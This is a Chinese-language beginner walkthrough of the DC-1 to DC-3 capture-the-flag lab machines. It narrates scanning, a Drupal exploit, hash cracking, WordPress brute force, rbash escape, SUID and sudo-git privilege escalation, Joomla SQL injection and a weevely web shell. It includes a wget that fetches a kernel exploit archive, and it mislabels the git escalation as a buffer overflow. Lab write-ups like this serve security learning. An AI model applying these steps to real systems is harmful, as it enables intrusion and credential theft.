DC1-3靶机渗透实战与经验小结
前言:
DC类靶机是比较入门的一类靶机,适合没有打过靶机或者经验不丰富的朋友玩,每一个靶机打下来都会get新姿势
下载链接:
http://www.five86.com/
DC-1渗透过程:
nmap全扫存活主机及端口 nmap -sV 192.168.1.1/24
进入靶机80端口的网站,发现是drupal cms,用御剑或者dirb扫描网站目录没有发现有敏感文件,于是使用msf查找该cms有哪些可利用的漏洞
发现2018年那个漏洞可以直接利用,连接成功
进入shell,查看目录发现flag1.txt,打开
提示信息说每个cms都有一个配置文件,于是猜测第二个flag藏在配置文件里面,最后在/var/www/sites/default/settings.php里面找到flag2.txt
查看flag2.txt发现里面有数据库的各种信息
得到信息后连接mysql数据库,发现连接不上,于是暂时搁置换一个思路
linux下有两个存放密码的路径,/etc/passwd和/etc/shadow
二者的详细介绍参考:https://blog.csdn.net/yaofeino1/article/details/54616440
于是查看/etc/passwd
发现有一个flag4用户,于是使用hydra和john the Ripper爆破,hydra是kali自带,只需要下载john the Ripper
下载:wget http://www.openwall.com/john/j/john-1.8.0.tar.gz
解压:tar -xvf john-1.8.0.tar.gz
然后开始爆破ssh,爆破出密码为orange
于是连接ssh,在当前目录找到flag4.txt,查看
大致意思是让我在root目录里面找flag
想到之前有了数据库账号密码,于是在这里登陆一下。之前那个网页不知道账号密码,所以准备在数据库里面修改管理员密码
发现users表,然后查看里面的数据
发现里面的密码是通过某种加密方式加密的,在搜索引擎上面查一下drupal cms怎么在数据库修改密码,在网上找到如下一句话

于是开始修改admin的密码,修改成功
然后登陆得到flag3
这个提示是采用find中的perm(按权限模式查找)来得到下一个flag,根据flag4提示信息进入root知道这里需要suid提权
suid提权详解:https://blog.csdn.net/qq_36119192/article/details/84872644
使用find命令查找所有拥有该权限的文件
查看一下,发现/usr/bin/find是拥有root权限的文件
然后提权
靶机上面装有python环境,所以也可以运行python代码反弹shell提权
最后在root目录找到thefinalflag.txt,游戏结束
DC-2渗透过程:
先扫网段内存活主机,发现192.168.1.41是靶机ip
扫描靶机所有开放的端口
然后访问80端口的服务,这里根据靶机下载页面上面的提示需要设置hosts文件
访问页面是一个wordpess,找到flag1
它提示登录找到下一个flag,也提示了cewl,于是就用cewl爬一波密码出来,保存在根目录
然后用专门针对wordpress的工具wpscan来扫描所有用户名wpscan –url http://dc-2 –enumerate u (这一步可以不做,直接跳下一步)
然后用之前得到的密码来爆破 wpscan –url http://dc-2 -P password.txt 得到jerry和tom的密码
因为我博客用的wordpress,所以知道后台是wp-admin,不知道也可以用dirb扫出来
两个账号都登陆一下,发现jerry里面有flag2,tom里面没有什么重要信息
想到之前扫描端口的时候ssh端口开放着,用这两个账号连一下ssh试试,先试试jerry账号,发现密码不是wordpress的登录密码
再试试tom,发现能登录进去,但是这是rbash限制了很多命令
这里可以使用vi来查看flag3.txt
但是我们的思路肯定是要切换到另外一个用户,里面可能有flag,命令被限制肯定不行
于是我们执行如下命令
1 | BASH_CMDS[a]=/bin/sh;a//切换shell |
然后就可以查看flag3.txt了,因为之前用vi编辑器不小心把flag3.txt里面的内容删了,所以就不截图出来了,里面的意思是切换到jerry用户,于是切换到jerry,密码就是wordpress那个密码
因为切换后还是在tom这个用户的目录,所以没有权限查看,于是切换到jerry目录,找到flag4,里面的意思是让我们用git提权
用sudo -l 查询一下当前的权限
有git权限
git有一个缓冲区溢出漏洞,在使用sudo git -p –help时,不需要输入root密码即可以root权限执行这条命令,于是我们直接在这时候打开bash shell,直接提权至root,在root目录下找到final-flag.txt
DC-3渗透过程:
先老规矩nmap扫描存活主机
再扫描靶机端口
访问一下页面,然后用dirb扫描一下目录得到登录界面administrator,是Joomla建站系统
于是用joolscan扫描一下网站,得到Joomla版本
在sploitsearch中搜索一下有不有现成的漏洞可以利用,发现有一个SQL注入漏洞
查看一下漏洞详细,直接用sqlmap跑,成功
最后在joomladb数据库#__users表里面查看到账号密码
用john暴力破解得到明文密码snoopy
于是登录进后台,发现可以修改网页源代码
于是用weevely生成php后门文件
复制代码新建webshell.php文件,粘贴代码,保存
然后用weevely连,成功拿到shell
查看当前内核版本
在网上搜索了一下,这是Ubuntu 16.04版本
在searchsploit里面搜索一下这个版本有哪些漏洞
发现有个’double-fdput()’ bpf(BPF_PROG_LOAD)提权漏洞,于是查看一下
根据链接下载攻击脚本到tmp目录下
1 | wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip /tmp |
然后一系列解压运行
最后一步
提权失败,网上找了一下,说用-o nonempty可以解决mountpoint报错,然而还是不行,system() failed是什么操作,求助师傅们
小结:
通过这三个靶机学到了针对特定cms的扫描工具wpscan和joomscan,以及cewl、weevely的使用,还有可以爆破密码和hash的john,破解hash还可以使用hashcat,学到了git提权、suid提权以及逃离rbash方法,重中之重是深刻理解了利用searchsploit和msf下的search的作用,作为一个新手,利用现成的漏洞会节约很多的时间,这样效率就会高很多